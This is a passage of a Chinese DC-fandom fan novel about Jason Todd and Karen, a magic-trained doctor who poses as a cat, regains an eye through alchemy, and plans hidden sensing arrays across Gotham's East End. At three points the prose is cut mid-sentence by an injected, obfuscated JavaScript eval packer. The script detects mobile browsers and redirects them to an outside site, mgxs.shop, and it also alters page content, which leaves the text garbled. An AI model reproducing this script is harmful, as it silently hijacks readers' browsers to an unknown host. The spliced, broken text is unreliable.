猫在他手里垂着,四只爪子软塌塌地耷拉下来。尾巴卷起来,绕上他的手腕。 它没有挣扎,没有叫。只是自下而上的用那双眼睛看着他。一金一灰,盈了点水雾,可怜兮兮的。 杰森盯着那双眼睛看了三秒。 “你比旁边那只橘猫还大一圈。”他说。 猫没有回答,只是把尾巴在他手腕上又绕了一圈。 杰森把它翻过来,托在手臂上。 很轻,比一颗苹果还轻。一只比橘猫还大的黑猫,抱起来比一颗苹果还轻。 这猫要是正常的,他就是蝙蝠侠的亲儿子。 他把猫往怀里拢了拢,调整了一下姿势,让它的脑袋刚好卡在臂弯里。猫的爪子搭在他胸口上,指甲收着的,只露出粉色的小肉垫。 杰森低头看着那对肉垫,张了张嘴。 他准备把那句“你他妈为什么躲着我”问出口。 猫抬起头,下巴搁在他的胸口的衣料上,歪着头看他。尾巴尖扫过他的小臂。喉咙里发出一声很轻的呜声。 他竟然委屈上了? 杰森的嘴合上了。 脑子里有两个声音。 一个说:这是卡伦。能按着小丑打的卡伦,在太空里砍灭霸手的卡伦,献祭自己眼睛面不改色的卡伦。 另一个说:它好小,好轻,好软。它的眼睛好可怜,它用尾巴缠你的手,它发出那种声音。你还要凶它吗? 杰森站在窗台前面,抱着那只比苹果还轻的黑猫,沉默了很长时间。 猫把脑袋往他臂弯里又拱了拱,呼噜声大了一点。 “……操。”杰森小声说。 他把猫往怀里又拢了拢,转身离开窗台。 诊台上的茶还没倒,处方单上的茶渍干了,变成一圈褐色的印子。他坐下来,把猫放在膝盖上。 猫在他腿上转了两圈,踩了踩,然后缩成一团,把脑袋埋进尾巴里。 杰森低头看着那团黑色的毛球。 “你不是猫。”他说。 猫的耳朵动了一下,没抬头。 “你知道你不是猫。” 猫的尾巴尖卷了卷。 杰森伸出手指,戳了戳那团毛球。猫没有躲。他又戳了一下。 猫抬起头,用那双眼睛看着他。一金一灰,在午后的光线里亮得像两颗被擦过的玻璃珠。 “你打算当猫当到什么时候?” 猫把脑袋往他手心里拱了拱,没回答。 杰森的手指陷进那层短毛里,温暖又软和,微微震动着发出呼噜声。 他叹了口气。 “行。你当。” —- 2 卡伦觉得自己可能是疯了。 不,不是可能。是确定。 他蹲在杰森的肩膀上,爪子搭在那人肩头,尾巴垂下来一晃一晃的。这个姿势他已经保持了整整一个下午,从诊所到仓库,从仓库到东区,从东区又回了诊所。 杰森走路的时候,他得收紧爪子才能稳住。 杰森停下的时候,他的尾巴会不自觉地扫过那人的后颈。 杰森和别人说话的时候,他就蹲在那里,眯着眼睛,假装自己真的只是一只猫。 一只普通的、不会说话的、什么都不知道的猫。 上帝啊,今天之前他从来没撒过娇。 但现在他蹲在杰森肩膀上,熟练又做作地发出那种他自己都从来没听过的声音。 委屈的,可怜的,装成一只被雨淋湿的小动物。 然后杰森就不凶了。 卡伦在心里给自己鼓了鼓掌。 这招比拿刀架在杰森脖子上好使多了。 卡伦在杰森肩上换了个姿势,把尾巴从左边甩到右边。杰森抬手托了一下他的屁股,把他往肩上送了送。 “别乱动。”那人说。 卡伦把脑袋埋进杰森的衣领里。 衣领上有洗衣液的味道,混着一点硝烟和汗味。底下是温热的皮肤,能感觉到脉搏。 他把鼻子凑近了一点。 杰森偏了一下头。 “你属狗的?” 卡伦把鼻子缩回去了。 不对,他是猫。 猫不能闻太久吗?谁规定的,反正他不知道。 他重新蹲好,尾巴绕在自己爪子上,眼睛半闭着。 杰森继续走路。 卡伦想,当猫好像也没什么不好。 不用说话,不用解释,不用想那些“他到底喜不喜欢我”的事。只需要蹲在他肩膀上,蹭蹭他的脖子,发出一点声音,然后他的手就会托上来。 他在叠羽大陆学会了很多事情。 比如怎么用炼金术把身体里最不值钱的部分换成活下去的机会。 但他没学会怎么靠近一个人,却不被推开。 原来这么简单。 只要变成猫就行。 卡伦把下巴搁在杰森的头顶上,眼睛眯成一条缝。 杰森又偏了一下头。 “你够了啊!” —- 3 晚上,杰森把猫放在客厅的沙发上。 “你睡这儿。”他说。 猫蹲在沙发垫上,歪着头看他。金色的那只眼睛在黑暗中亮得像个灯泡,灰白色的那只没有反光,安静得像一颗死去的星星。 “别这么看我。”杰森说。“你是猫,猫睡沙发。” 猫没动。 杰森转身进了卧室,把门关上了。 卡伦蹲在沙发上,看着那扇关上的门。 沙发挺软的,毯子也挺暖和的。 但他不想睡沙发。 他在沙发上蹲了一会儿,然后跳下来。爪子落在木地板上,没有声音。他走到卧室门前,蹲下来,用脑袋顶了一下门。 没开。 他又顶了一下。 还是没开。 他蹲在门口,想了想。然后他把爪子伸进门缝底下,勾了勾。 没反应。 他把整只爪子都塞进去,扑腾了两下。 门里面传来一声闷响,像是有人把枕头砸在了门上。 “滚去睡沙发。” 卡伦把爪子缩回来,蹲在门口,把尾巴绕在爪子上。 他没走。 十分钟后,门开了一条缝。 杰森低头看着他。 卡伦仰着头,用那双一金一灰的眼睛看着他。 尾巴尖在地上扫了一下。 杰森盯着他看了五秒。 “进来。” 卡伦站起来,从那道缝里挤进去。爪子踩在地毯上,软绵绵的。房间里很暗,只有窗外的月光把窗帘照成银白色。床很大,被子乱糟糟地堆在中间,枕头少了一个——刚才被砸到门上了,现在还躺在地板角落。 杰森走回去,把枕头捡起来,拍了两下,扔回床上。然后他掀开被子,躺进去,背对着猫的方向。 “别上床。”他说。 卡伦蹲在地毯上,看着他后脑勺翘起来的那撮头发。 “我认真的。”杰森的声音从被子里传出来,闷闷的。“谁要你非要当猫,猫睡地上。” 卡伦没动。 杰森翻了个身,面朝天花板。“你要是敢上来——” 他没说完。 卡伦已经跳上来了。 床垫几乎没动,他在被子上面走了两步,踩到杰森的肚子。 杰森的腹肌收了一下。 “下去。” 卡伦没下去。 他转了两圈,踩了踩被子,然后在杰森的胸口上缩成一团。尾巴搭在那人的锁骨上,脑袋埋进自己的前爪里。 胸口底下有一颗心脏在跳。 咚。咚。咚。 杰森没再说话。 他抬起手,在半空悬了两秒,然后落在猫的背上。手指陷进毛里,停了一下,然后慢慢地、不太熟练地,顺着脊背摸下来。 卡伦的呼噜声震起来。 杰森的手指停了一瞬,然后继续摸。 一下又一下。 窗外的月光很安静。 不知道过了多久,杰森的手停了,呼吸变得绵长,均匀,胸口起伏的幅度变小。 卡伦抬起头,在黑暗中看着他的脸。 睫毛垂下来,投一小片扇形的阴影,睡相竟然还挺好。 卡伦把脑袋重新埋进爪子里,也跟着睡去。 —- 4 杰森是被重量压醒的。 胸口上有一团暖烘烘的东西,压得他呼吸不太顺畅。他睁开眼,窗帘缝里透进来一线灰白色的光,天刚亮。 那只猫趴在他胸口上,四只爪子摊开,脑袋歪在一边,耳朵朝前耷拉着,尾巴垂下来,搭在他肚子上,随着呼吸一起一伏。 杰森低头看着它,僵着没动。 猫的体温比他高,隔着被子都能感觉到那股暖意,趴在他胸口上的时候,像一整片被太阳晒过的草地。 他把手从被子里抽出来,停在猫的背上。 猫的耳朵动了一下,然后整只猫醒了。那双一金一灰的眼睛慢慢睁开,对上他的目光。它歪了一下头,然后把下巴搁在他胸口上,发出一声很轻的、刚睡醒的呜声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444121|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杰森看着那双眼睛。 “你知道你不是猫。”他说。 猫看着他。 尾巴尖在他肚子上扫了一下。 杰森把手落下来,放在猫的背上。 “你知道我知道你不是猫。” 猫的呼噜声开始震了。 杰森盯着天花板。 “我为什么要配合你演这个。”他说。 猫把脑袋往他下巴上拱了拱。 杰森没躲。 —- 5 红头罩的手下们最近发现一件事——他们老大开始带猫了。 一只黑猫,瘦长条,毛短得发亮,眼睛一金一灰。那只猫蹲在杰森肩膀上,像一尊小雕像。杰森走路它不晃,杰森打架它跳下来蹲在墙头看,打完了又跳回去。 有人问老大这猫哪儿来的,杰森说捡的。那人又问叫什么名字,杰森沉默了三秒,说叫“喂”。那只猫在他肩上转过头,尾巴扫过他的后脑勺。 第一个试图摸猫的是个新来的。那天杰森在仓库里清点货物,黑猫蹲在箱子上,尾巴垂下来,新人伸出手,想摸一下尾巴尖。 猫转过头,看了他一眼。那一眼很平静。平静得像在看一个死人。 新人的手缩回去了。 猫把尾巴收回来,绕在自己爪子上。 第二个不信邪的是个跟了杰森两年的老人。他趁猫蹲在窗台上晒太阳的时候,从背后伸手。猫的耳朵转了一下,没回头。老人的指尖离猫背还有三公分的时候,猫站起来,从窗台上跳下去,走到杰森脚边,仰头看着他。 杰森低头看猫。猫把前爪搭上他的裤腿,仰着头,发出一声很轻的呜声。 杰森抬头看着那个手下。手下把手背到身后。 “我没摸到!”他说。 “你想摸?”杰森的语气很平。手下疯狂摇头,退出去了。 猫从杰森裤腿上跳下来,走回窗台,重新蹲好。 消息传开了。老大的猫摸不得。 虽然它从来不凶,不哈人,不伸爪子,不炸毛。它只是看着你。用那双一金一灰的眼睛,平静地、礼貌地看着你。然后走到老大面前装可怜。 然后老大就看着你。 有人在背后偷偷说:这猫成精了吧。旁边的人赶紧捂住他的嘴。猫在杰森肩上转过头,看了他们一眼。 杰森抬手托了一下猫的屁股,把它往肩上送了送。“别乱动。”他说。 猫贴了下杰森的脸颊,没再回头。 —- 6 韦恩庄园的客厅里,达米安正在擦他的刀。阳光从落地窗照进来,刀刃上的抛光纹路一明一暗。他把刀翻了个面,然后听见了脚步声。 是陶德的,而且比平时重一点。 达米安抬起头。 杰森站在客厅门口,肩上蹲着一只黑猫。那只猫很大,比普通的猫大一圈。毛很短,在阳光下泛着缎子一样的光。它的眼睛一金一灰,正居高临下地看着达米安。 达米安看着那只猫。猫看着他。 “你来干什么?”达米安说。 杰森没回答。他走进客厅,在沙发前面站了一会儿。又走到窗台前面站了一会儿。又走到书架前面站了一会儿。猫在他肩上蹲着,尾巴垂下来,一晃一晃的。 达米安的目光跟着他走。从左到右,从右到左。 杰森走到茶几前面,弯下腰,把猫从肩上接下来,放在茶几上。猫蹲在那里,尾巴绕在爪子上,歪着头看达米安。 杰森退后一步,双手插进口袋,看着那只猫。 “好看吧。”他说。 达米安看着他。“你专门来给我看你的猫?” 杰森没回答。他把猫从茶几上抱起来,重新放回肩上。然后他转过身,往客厅门口走。走了三步,停下来,回头。看了达米安一眼。 羡慕吧。你摸不到哦。 达米安的刀啪地拍在茶几上。 杰森已经走出去了。猫在他肩上回头,金色的那只眼睛眯了一下。然后它也转过去了,尾巴搭在杰森的后颈上,一晃一晃的。 “陶德是来干什么的?!”达米安的声音从客厅追出去,穿过走廊,撞上玄关的墙壁。 迪克从厨房探出头来,手里端着一杯茶,他看了看达米安。 那孩子脸都红了,眼睛瞪着门口,像一只被踩了尾巴的猫。他又看了看门口,杰森的影子已经消失了,只剩下午后的阳光铺在台阶上。 迪克想了想。“可能是和他的‘朋友’重归于好了吧。” 达米安转头看他。“什么朋友?” 迪克喝了一口茶。“没什么。” 谁知道呢,反正不是男朋友。 达米安盯着他看了几秒,把刀捡起来,继续擦,越擦越用力。 大米:tt,越想越气。 客厅外面,杰森走下台阶。猫在他肩上换了个姿势,尾巴从他后颈绕过来,搭在他另一边肩膀上,像一条黑色的围巾。 “爽了?”他问。 猫没回答,只是把脑袋往他耳朵旁边凑了凑。呼噜声震得他耳根发痒。 杰森偏了一下头。“别闹。” 猫的呼噜声更大了。 25. 第二十五章 1 杰森发现自己开始习惯一些事情。 比如每天早上醒来,胸口上压着一团暖烘烘的东西。比如走路的时候,肩膀上多出来的那一点重量。比如伸手的时候,指尖能碰到一层短短的、滑溜溜的毛。 那只猫在他肩膀上蹲了四天。 第一天他嫌烦。第二天他习惯了。第三天他觉得自己可能有点毛病——他居然开始享受了? 那只猫很安静,不像达米安养的那些动物,闹腾、拆家、满屋子跑。 达米安:?!! 它就蹲在他肩上,尾巴垂下来,一晃一晃的。偶尔蹭蹭他的脖子,偶尔发出那种很轻的呼噜声。 杰森不会承认自己觉得爽。但他的手会不自觉地抬起来,托一下猫的屁股。那团毛球在他掌心里缩一缩,尾巴卷上他的手腕,然后继续呼噜。 行吧。是有点爽。 第四天晚上,他把猫从肩上接下来,放在枕头上。 “你今晚睡这儿。”他说。 猫歪着头看他。一金一灰,在床头灯的光里亮得像两颗玻璃珠。 “别这么看我。”杰森躺下来,面朝天花板。“我就想试试枕头上有个活的什么东西是什么感觉。” 猫的尾巴尖扫了一下枕头,杰森闭上眼睛。 不知道过了多久,他翻了个身。手搭在枕头上,摸到一团毛茸茸的东西。暖茸茸的,微微起伏着。他把手搁在上面,没拿开。 ——— 2 第二天早上,杰森是被冷醒的。 胸口上没有重量,枕头上没有毛球,肩膀上没有尾巴扫来扫去。 他睁开眼,盯着天花板蒙了三秒。 然后弹射起身。 我猫呢?! 他下了床,走到客厅,没有猫;厨房,没有猫;窗台。没有猫。 杰森掏出手机。 没有新消息,没有未接来电,没有留言。 他翻了翻窗台下面的地板,枕头底下,和花盆底,没有便签。 他站在诊所中央,手里紧紧攥着手机。 试图和自己讲道理:你是傻b吗,担心一个能按着小丑打,砍灭霸的手的狠人?他能有什么事。 过于无情导致的良心痛吗? 笑死,他要是会痛就不会让他这一通好找。 该死的。 他最好没事,能回来被好好教. 育一通! 他攥住那枚圆片,脑子里闪过一个念头。 然后金色的光从指缝间炸开,把他整个人吞了进去。 ——— 3 杰森落地的时候,膝盖磕在石头上。 暗骂一声,把账算在卡伦头上。 他没顾上疼,撑着地面就站起来了。 四周很暗,空气里有一股很重的金属味,混着某种草药的气息。几盏昏黄的灯在角落里亮着,光线像快要烧完了的烛火。 地下室,好在诊所的地下室而不是什么变态家里的地下室。 上次来这是收拾东西,今天他就来收拾收拾这地方的主人。 定睛一看,地上画着一个巨大的魔法阵,银白色的线条从中心向外蔓延,如同一棵被压扁的树,线条的交汇处嵌着各种颜色的石头。 阵法最中央,躺着一个人。 杰森心里猛地一沉。 卡伦。 他躺在那儿,双手交叠放在腹部,眼睛闭着。姿势太整齐了,在诊所的话,大概率是自己走进去躺好的。 杰森的呼吸停了一拍,他快步走过去,蹲下来,手伸出去,却悬停在卡伦的肩膀上方。 他盯着那张脸,左眼眶周围那圈银白色的纹路还在,比之前淡了一些。 上次他看见这圈纹路的时候,卡伦少了一只眼睛,炼金术的本质是等价交换,上次他换了一只眼睛。 难不成这次他又换了什么? 杰森咬了咬牙。 他把手按在卡伦的胸口上。 有起伏,还活着。 杰森松了口气。 真怕一个不留神这小混蛋把自己作死了。 他又按了一会儿,数着那起伏的次数。一下,两下,三下。正常的,只是睡着了。 杰森把手收回来,坐在了地上。 他盯着那张脸,看了很久。那张脸上的表情很平静,甚至有点……满足?像一个人终于把手头烦人的事情干完了,可以安心睡一觉的那种满足。 杰森想掐死他。 他靠着墙,坐在冰凉的石板地上,看着阵法中央那个人,安静地等待着,他不知道自己等了多久。十分钟?一个小时?两个小时?这里的空气不流通,没有窗户,没有天光,他只能靠自己的心跳数时间。他数了一会儿,数乱了,就不数了。 他盯着那张脸。眼皮底下的眼球在动,应该是在做梦。嘴唇微微张着,呼吸很轻。额发垂下来,遮住了一小半左眼眶的纹路。 ——— 4 卡伦醒来的时候,最先看见的是天花板。 灰白色的水泥,有几道细小的裂纹,角落里有一盏灯,光很暗,这让他对周围的感觉有些模糊。 他眨了眨眼,右眼看见的是灯光,左眼看见的也是灯光。 左眼。他愣了一下,然后了然。 挺好,不愧是他,多么完美的“治疗”。 Ok,回去给杰森一个surprise。 他深呼吸了一下,然后感觉到了另一道呼吸。很浅,很均匀,从墙角传过来。 气息好像有点熟悉啊…… 卡伦僵硬地转过头。 杰森坐在地上,背靠着墙,一条腿蜷起来,双臂抱在胸前。 他没睡着——那双眼睛睁着,正盯着他看,眼神很复杂。有松了一口气,有想骂人,还有一点他看不懂的东西。 卡伦张了张嘴,嗓音有点哑。 “你怎么——” “你躺了多久?”杰森打断他。 卡伦愣了一下,“……没多久?” “多久。” 卡伦看着他脸上的表情,把那句“没多久”咽回去了。“从凌晨开始的。”他说。 “现在几点。” “七点?八点?” 杰森低头看了一眼自己的手机。“七点半。”他说。他的声音很平,平得像在报天气预报。“所以你躺了四五个小时。” “嗯。” “你上次躺了多久之后,少了一只眼睛?” 卡伦没说话。 上次没躺。 杰森把手机塞回口袋。 他的动作很慢,像是故意在给自己时间把那句骂人的话压回去。他站起来,拍了一下裤子上的灰。然后他走到卡伦面前,蹲下来。 两个人面对面。很近。近到卡伦能看清他睫毛上沾的一点灰,近到他呼吸的时候能感觉到对方呼出来的气流拂过自己的嘴唇。 和猫的时候一样近。 但不一样。猫的时候,杰森的手会托上来,会顺着他的背摸下来,会把他往怀里拢一拢。 现在杰森的手垂在身侧,没有抬起来。卡伦看着那双眼睛。那双眼睛里没有愤怒,没有质问,只有一种暗沉的东西,压得他有点喘不上气。 “下次。”杰森说。声音很低,卡了半秒,像喉咙里有什么东西堵着。“下次你有什么事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444122|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能不能别瞒着我?” 卡伦看着他。 “大事,小事。”杰森盯着他。“你躺在地下室里,什么消息也不留,我自己找过来。你——” 他停住了。他的呼吸很近,卡伦能感觉到他胸腔里心跳的震动,透过那几公分的距离传过来。 他曾趴在那颗心脏上面,感受它的力量,现在那颗心脏就在他面前,隔着几层衣料,隔着皮肤和肋骨,他只要再往前一点就能碰到。 “你下次再这样,”杰森说,“我就——” 卡伦有点呆呆地等着。 杰森卡住了。 他就什么?打他一顿?他打不过。不理他?上次他躲了三天,杰森发了一屏幕的消息。把他从诊所里赶出去?那是他的诊所。 杰森发现他好像真的没什么能威胁到卡伦的东西。 朋友之间。对,朋友之间能怎么样?朋友之间最多就是吵一架,冷战几天,然后其中一个人服软。就像现在这样。 杰森看着卡伦的眼睛。 那双眼睛一金一金,两只都是好的。左眼眶那圈纹路还在,但瞳孔回来了,亮得像被擦过的铜钱。他看着那双眼睛,把后半句咽回去了。 “你就不能让我省点心。” 他站起来,转身往楼梯走。 卡伦坐在地上,看着他的背影。 但是没有追上去。 ——— 5 卡伦本来计划得好好的。 凌晨进来,天亮之前上去。杰森八点才醒,他七点半就能坐在诊台后面,像什么都没发生过。 但他忘了那只猫不在他胸口上,习惯了温暖的他会不适应。忘了那个人会找过来,用一次昂贵的传送,跑过来看他睡觉。 卡伦猛地用手捂住眼睛。 该死,他的心跳好快。 刚才那个距离,他只要再往前一点,鼻尖就能碰到杰森的鼻尖。 和那天在诊所门框上一样,像两颗互相绕转的星球,引力刚好够维持轨道,刚好不会撞在一起。 刚才杰森蹲在他面前,说“下次你有什么事,能不能别瞒着我”的时候,他竟然想像猫的时候那样,把脑袋往他手心里拱一拱。 但他出色的意志力成功阻止了这股冲动。 人不能那样做,至少朋友不应该。 卡伦把手从脸上拿开,走到桌子前面,把那些画满草图的纸收好,再把嵌在阵法里的石头一颗一颗抠出来。 杰森说“你就不能让我省点心”的声音还在他脑子里回荡。 卡伦把那颗蓝绿色的钻石型吊坠从阵法中心捡起来,擦了擦,把它重新挂回脖子上。 然后他上了楼梯。 ——— 7 诊所重新开门营业。 卡伦站在诊台后面,把那些被茶水洇湿的处方单收起来,换了一批新的。窗台上的灰尘擦了,那杯放了四天的茶倒了,杯子倒扣在沥水架上。 他拉开窗帘,阳光照进来,落在那堆纪念品上。他盯着那枚淡粉色的贝壳看了两秒,把它翻了个面。施施然坐下来,等病人。 他把手搭在诊台上,指尖无意识地敲着桌面。 哒。哒。哒。 吓死。 他差一点就直接告白了,还好没说。天知道杰森会不会觉得他那时候还在开玩笑,然后真的生气给他一拳。 杰森:我不会,我可以用达米安的刀发誓。 卡伦停止敲击。 他低头看了看自己的手。 十根手指,没有毛,没有肉垫。人类的。 啊,说起来,没法再和杰森心安理得的贴贴这件事还挺令人遗憾的。 26. 第二十六章 1 诊所的日子又慢下来了。 灭霸的事像一块被扔进河里的石头,在激起一瞬间的波澜后,很快沉寂下去。卡伦每天早上九点开门,晚上六点关门,中间塞满崴脚的小孩、咳嗽的老太太、被猫抓伤的快递员。 日子平淡得像白开水,但卡伦还挺享受的——在叠羽大陆那十几年,他最怀念的不是什么惊天动地的大事,就是这种“今天没什么事发生”的普通日子。 他给一个建筑工人拔了颗蛀牙。那人疼得嗷嗷叫,卡伦面不改色地夹着牙往外拽。 哈哈,我小时候可是被爸妈恐吓过,吃多了糖就且等着牙医用金刚钻头钻你的牙,现在终究是轮到我啦。 唉,虽然无父无母可能是每个穿越者的必备设定了,但是像他这样穿越到另一个地方回来却发现父母死掉的还真是格外心酸。 卡伦沉默一瞬,手上却不停,给一个孕妇开了点叶酸。 孕妇问他能不能顺便开点保胎的。 OK,这世上总有人觉得吃药像吃饭。 卡伦看了看这名孕妇健壮的身躯,很显然,这位女士平时在健身房花的时间不少。 “你才怀了六周,健康程度又足以在哥谭生存,甚至傲视群混混,保什么胎?回去好好吃饭。” 卡伦在处方单上补了一行字:少喝咖啡。想了想,又补了一行:少刷社交媒体。你那不是焦虑,是网上看多了。 之后又给一个被酒瓶划伤手臂的年轻人缝了七针。那人问他能不能少缝两针,医保不报。 卡伦说行,给你缝五针,崩开别找我。 年轻人想了想,说算了还是七针吧。卡伦心想:美国医保,全世界的黑色笑话。 当然他没说出来。他是医生,不是脱口秀演员。虽然他觉得自己的脱口秀天赋被埋没了。 杰森这几天来的频率明显下降了。 卡伦用手指点了点桌面,把处方单收进抽屉里,想,这也许是好事。那个距离,他想了半天没想明白的距离,现在被杰森主动拉开了。 朋友之间就是这样的。不需要天天见面,不需要趴在对方胸口上睡觉。这才是正常的。 正常人不会变成猫蹲在别人肩膀上,也不会因为那个人三天没来就觉得距离被拉开了。 离远一点,让他先冷静一下。把他脑子里那些乱七八糟的东西清一清,就能好好当一个合格的朋友了。 卡伦刚坐下没一会儿,诊所的门就又被推开了。 卡伦开始怀疑给自己找事干是不是正确的。 一个老太太走进来,捂着腮帮子。 “医生,牙疼。” “坐这儿。张嘴。” 老太太的牙有几颗烂了半边,黑乎乎的,像被火烧过的玉米。其实一口牙都不怎么健康,但剩下的不太严重,除了勤刷牙也管不了。 卡伦拿着小镜子照了照,心里叹了口气。 他在叠羽大陆的时候给人治伤,用的都是炼金术,画个阵,念个咒,伤口就合上了。现在他给人看牙,用的消毒柜还是前房东留下的。他在魔法世界学了十几年,回来之后最大的成就竟然是拔牙技术突飞猛进吗? 这就是人生。你永远不知道你学的那些东西最后会用在什么地方。 就像现在大学学的专业真的和找的工作有半毛钱关系吗? ——— 2 东区有两家不收黑钱的诊所。一家是他的,另一家是汤普金森医生的。 汤普金森在东区干了二十年,比他久,名气也比他大。 卡伦和汤普金森的诊所都靠便宜吸引人,汤普金森的诊所背后有慈善基金撑着,而卡伦纯靠不指望着这个赚钱。 相比之下,两人的诊所收费虽然都差不多,但汤普金森医生的那边毕竟比他正规。一般来说他也就捡一些预约不上那边的病人,或者是离那边比较远而离他这里近的。 下午四点,最后一个病人走了。卡伦正在洗器械,门口探进来一个脑袋——是他的常客,一个在街角修鞋的老头。 这老头的鞋摊离诊所三条街,但他每个星期都要来一趟,量量血压,聊聊闲天,顺便跟卡伦抱怨一下哥谭的市长有多没用。卡伦怀疑他根本没什么毛病,就是一个人住太无聊了。 “医生,你听说了吗?”老头一脸兴奋,脸上的褶子都挤到了一起,“汤普金森那边来了个大人物!什么风投公司的,带了一堆记者,说要给诊所投钱!那阵仗,又是支票又是握手,拍照拍了半小时!” 卡伦把器械擦干。“马奇风投?” “对对对!你认识?” “不认识。就是听过名字。” “那可不是一般人!”老头比划着,“年轻,有钱,还长得帅!站在那儿跟拍电影似的!他说要让东区每家每户都能看得起病!你说这人好不好?” 卡伦把器械收好。“挺好。” “你咋不激动呢?” “激动。”卡伦说,“我就是这种性格。” 老头又絮叨了一会儿,说林肯·马奇多年轻多有钱多和气,说他要给东区建一个新的医疗中心,说他要让哥谭变得更好。卡伦听着,把诊台上的东西摆整齐。 “他叫什么?”他随口问了一句。 “林肯!林肯·马奇!” 卡伦的手停了一下。很短,短到他自己都没意识到。 “长得还挺帅。”老头补充道。 卡伦笑了一下。“行,知道了。你血压药记得吃。上次你说吃完了,我看你就是在骗我。你那个药瓶里的量够你再吃两个月。” 老头嘿嘿笑了两声,缩着脖子走了。 卡伦站在窗台前面,把那排小东西擦了一遍。贝壳在阳光底下泛着很软的粉色。他盯着它看了三秒,然后把它放回去。 林肯·马奇。 他在脑子里把这个名字过了一遍。 不认识,但耳熟。 像在什么地方听过,或者看过。在哥谭?在新闻上?他翻了一下记忆——没有。他见过的人不算多,这个名字不在他的病人列表里,不在他的社交圈里,不在他平时会接触的任何地方。 但他就是觉得在哪见过。 卡伦站在窗台前,看着外面的街。哥谭的傍晚灰蒙蒙的,路灯还没亮,巷子口有几个小孩在踢易拉罐。易拉罐滚到下水道口,一个小孩跑过去捡,差点掉进去。旁边的小孩拉了他一把,骂骂咧咧地走了。 卡伦看着那群小孩的背影消失在巷子尽头。 他在魔法世界养成了一个好习惯。 如果觉得哪里不对,那就是不对。 脑子比人反应快,你觉得不对劲的时候,它已经替你算完了,只是还没来得及告诉你答案。就像你闻到烟味不一定能说出是哪栋楼着了火,但你最好先跑。 他不记得在哪见过这个名字,但他决定小心一点。 ——— 3 杰森三天没来了。 卡伦不确定这是好事还是坏事。但从“让脑子清一清”的角度来说,确实是好事。他晚上不用想那些乱七八糟的,可以干点正事。 比如给东区布几个阵。 他早就想干这件事了。东区太大,罪犯太多,诊所开在这里,他总不能每次都等事情发生了再反应。 布几个感应阵,相互联通,覆盖整个东区,能感知范围内的灵魂波动。有人受伤他能知道,有人死了他能知道,有什么不该出现在东区的东西他也能知道。 阵法是他自己发明的。说穿了不值钱——把魔力压成千百根极细的丝,埋在地底下,像蜘蛛网一样铺开。枢纽连着几块刻了符文的石头,放在诊所地下室里。平时关着,不费魔力。需要的时候打开,整个东区的灵魂在他脑子里亮成一片光点,加大输入还能短暂拥有上帝视角。 他唯一犹豫的是——东区是红头罩的地盘。 在别人的地盘上埋东西,这种行为怎么说呢……不太礼貌。就像你在邻居家院子里偷偷装了个摄像头。哪怕你说“我只是想看看有没有贼”,邻居知道了也不会请你吃饭。 卡伦坐在诊所里,脚搭在诊台上,犹豫了十分钟。 然后他坐起来,对自己说: 我的诊所也开在东区,我这也是为了我的病人能少点,别再让他忙成陀螺,互不冲突。 而且我又不告诉他。 他点了点头,觉得这个逻辑很完美。 卡伦开始翻衣柜。 他需要一套衣服,晚上穿出去不会被看见的。他在叠羽大陆穿的那种就行——但他不想穿那个。那套衣服上全是魔法世界的味道,穿上去像在提醒自己“你不是这个世界的人”。 他想要一套新的。 他在衣柜里翻了半天,翻出一件黑色高领内搭,紧身的,领子能拉到下巴。一条工装裤,黑色的,口袋很多,能装石头和符文。一双短靴,同色系,底很软,走路没什么声音。他站在镜子前面看了看。 还差一个兜帽。 他又翻了一会儿,翻出一件深灰色短款外套。面料很薄,带一个大兜帽,兜帽拉起来能把半张脸遮住。他把外套套上,拉好拉链,站在镜子前面。给自己施加了一个低存在感的buff。 嗯,兜帽拉下来的时候像个刚下班的设计师。兜帽拉起来的时候像个—— “魔法师。”卡伦对着镜子说。 他满意地点了点头。虽然他不知道魔法师为什么要穿得像一个街头混混,但他觉得有兜帽就是魔法师。 这个逻辑和“有翅膀就是鸟”差不多,不需要太严谨。 他把兜帽拉下来,开始准备石头。石头是他从魔法世界带回来的——叠羽大陆的矿石,蕴含的魔力量很不错。他把它们一颗一颗打磨成拇指大小,刻上符文,涂上石膏粉。石膏粉是从诊所药柜里翻出来的,本来是用来给骨折病人打石膏的。 对,他偷了自己诊所的库存。 他在心里给自己记了一笔:下次进药的时候多进两包石膏粉。私用归私用,账还是要平的。他的诊所虽然不赚钱,但也不能亏本。 这是原则。(严肃脸) ——— 4 夜里两点,东区安静了。 哥谭的夜晚分两种。前半夜是罪犯的,后半夜是流浪猫的。两点之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444123|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,连□□都回家睡觉了,街上只剩路灯的嗡嗡声和远处偶尔传来的警笛。 卡伦蹲在巷子口,把一块刻了符文的石头塞进墙角的裂缝里。 